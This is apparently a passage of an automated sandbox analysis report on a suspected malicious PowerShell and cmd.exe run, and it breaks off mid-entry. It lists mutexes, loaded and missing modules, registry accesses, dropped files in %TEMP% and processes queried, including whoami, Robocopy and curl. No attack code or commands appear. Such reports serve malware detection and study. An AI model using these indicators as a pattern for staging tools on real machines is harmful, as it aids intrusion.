Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7064:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03"43:Td58,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135]44:T9e9,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007064.00000000.112604.064A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007064.00000000.112604.064A0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007064.00000000.112604.064A0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007064.00000001.113650.064A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007064.00000001.113650.064A0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007064.00000001.113650.064A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007064.00000001.113650.20A35000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00007064.00000001.113650.20C64000.00000004.mdmp "C:\REGISTRY\MACHINE\Software\WOW6432NodeP" in Source: 00000000-00007064.00000001.113650.20C64000.00000004.mdmp "To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007064.00000001.113650.20D77000.00000004.mdmp "To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007064.00000001.113650.20D77000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007064.00000001.113650.8ECBB000.00000002.mdmp45:T1c35,"cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffbb4d40000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffbdd7d0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffbdd950000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffbb4d40000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffbdd7d0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffbdd000000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffbdb030000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffbdb030000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffbdb030000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffbb7a90000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffbdd1f0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffbd8e70000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffbd1970000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffbb18d0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffbdd2f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffbdb030000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffbb8ef0000 "powershell.exe" loaded module "NTDLL" at base 7ffbdd950000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffbdba20000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffbdbf90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\6078762B90671C2FF9BA39318E2176D8\MSCORLIB.NI.DLL" at base 7ffbaa610000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffbdd0c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffbdba20000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffbdd650000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffbd9fb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffbdb3b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffbdb030000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffbb1780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\FE3C9CF707273488C6C658D52D624640\SYSTEM.NI.DLL" at base 7ffba9990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\21FF4BA4607B18A9B179AB90FD3B0BC1\SYSTEM.CORE.NI.DLL" at base 7ffba8f10000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffbdba20000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffbdba20000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffbdd950000 "powershell.exe" loaded module "SHELL32.DLL" at base 20521860000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffbdc810000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffbdb330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\76FF225C5A523F0BE2364B0FC02BF7F9\SYSTEM.XML.NI.DLL" at base 7ffba8660000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffbdb440000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffbcc8e0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffbda930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffbb9010000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffbb8ed0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffbb5aa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ffbc6f10000 "powershell.exe" loaded module "KERNEL32" at base 7ffbdd7d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WUDETKE9.DLL" at base 7ffbc7830000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffbdb440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\AFD58C711DB7CAC7F0D5CAF525CE8D6C\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffbb1610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\8ECDA6B0FFA321000FAFFBDCDB86175B\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffbb14a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\8990B2F5A93202518A0040E15B565F36\SYSTEM.DATA.NI.DLL" at base 7ffba7ce0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffbafe70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffbb1360000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffbdba20000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffbdb7f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\BEABD14F0AB9A67D348911645772E933\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffbb1280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffbb5540000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffbcfaf0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffbdae70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffbd8980000 "powershell.exe" loaded module "URLMON.DLL" at base 7ffbce610000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffbdb030000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ffbc6a60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 7ffbb11c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\9594C82AF7B396B5EE8B0EF1D461CEA2\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffbc6ff0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffbdd650000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.DLL" at base 7ffbc6fd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.SERV759BFB78#\087C3391DD8EC1328391FEC5E2C4D553\SYSTEM.SERVICEPROCESS.NI.DLL" at base 7ffbb1170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\908B5C1DEBCFB784BC25157A8EBCDFBE\SYSTEM.DRAWING.NI.DLL" at base 7ffbb0f70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\061200DCB8937E1B9EB2641F2CE9D2EC\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffba6c20000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffbdc360000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRCOMPRESSION.DLL" at base 7ffbb0f4000046:Tff1,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007064-00000C2B-642133454] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007064-00000C2B-642571949] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007064-00000C2B-642692225] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007064-00000C2B-642825970] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll" [Source: 00000000-00007064-00000C2B-643158772] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007064-00000C2B-643205226] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007064-00000C2B-643272967] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007064-00000C2B-643321439] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00007064-00000C2B-643436728] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007064-00000C2B-643461766] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll" [Source: 00000000-00007064-00000C2B-643559725] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll" [Source: 00000000-00007064-00000C2B-643769666] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007064-00000C2B-643798879] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007064-00000C2B-643893246] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007064-00000C2B-644077400] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007064-00000C2B-644077661] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007064-00000C2B-644665012] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007064-00000C2B-644688417] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007064-00000C2B-645164030] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007064-00000C2B-645243023] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll" [Source: 00000000-00007064-00000C2B-645264613] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007064-00000C2B-645316319] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007064-00000C2B-645474127] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00007064-00000C2B-645552433] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" [Source: 00000000-00007064-00000C2B-646124489]47:T4fc,"__PSScriptPolicyTest_ocul3hwa.ftz.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_ocul3hwa.ftz.ps1]- [targetUID: 00000000-00007064] "vx28417.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Aug 27 2026 10:07:18 uncompressed size 2202 method=deflate"- Location: [%TEMP%\vx28417.zip]- [targetUID: 00000000-00007064] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007064] "urlref_httpspumpadmin.func" has type "HTML document Unicode text UTF-8 (with BOM) text with very long lines (571) with CRLF LF line terminators"- [targetUID: N/A] "__PSScriptPolicyTest_0fqeueyb.2sc.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_0fqeueyb.2sc.ps1]- [targetUID: 00000000-00007064] "__PSScriptPolicyTest_wgew1v2q.zof.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_wgew1v2q.zof.psm1]- [targetUID: 00000000-00007064] "__PSScriptPolicyTest_mrmibead.gfx.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_mrmibead.gfx.psm1]- [targetUID: 00000000-00007064]48:T674,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")49:T487,"cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 860) "cmd.exe" queries basic process information of the "C:\Windows\System32\whoami.exe" (UID: 860) "cmd.exe" queries basic process information of the "C:\Windows\System32\Robocopy.exe" (UID: 860) "cmd.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 860) "cmd.exe" queries basic process information of the "C:\Windows\System32\curl.exe" (UID: 860) "whoami.exe" queries basic process information of the "C:\Windows\System32\whoami.exe" (UID: 188) "Robocopy.exe" queries basic process information of the "C:\Windows\System32\Robocopy.exe" (UID: 8900) "Robocopy.exe" queries basic process information of the "C:\Windows\System32\Robocopy.exe" (UID: 2156) "Robocopy.exe" queries basic process information of the "C:\Windows\System32\Robocopy.exe" (UID: 4336) "Robocopy.exe" queries basic process information of the "C:\Windows\System32\Robocopy.exe" (UID: 8476) "powershell.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 7064)4a:Tcbf,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E36C4458-ED80-4AD7-A8BE-52DDA1EB5F1C"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000603XX"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "1AFF6089-E863-4D36-BDFD-3581F07440BE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F0558438-F56A-5987-47DA-040CA75AEF05"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "C7E09E2A-C663-5399-AF79-2FCCD321D19A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "A99B2EB4-5620-44F5-9B02-F9D2EEBF2E96"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "D0F1A5C6-FC43-48AE-99BF-EFB1C38BE9D1"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "")4b:T82c,"cmd.exe" trying to access non-existent file "C:\curl.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file 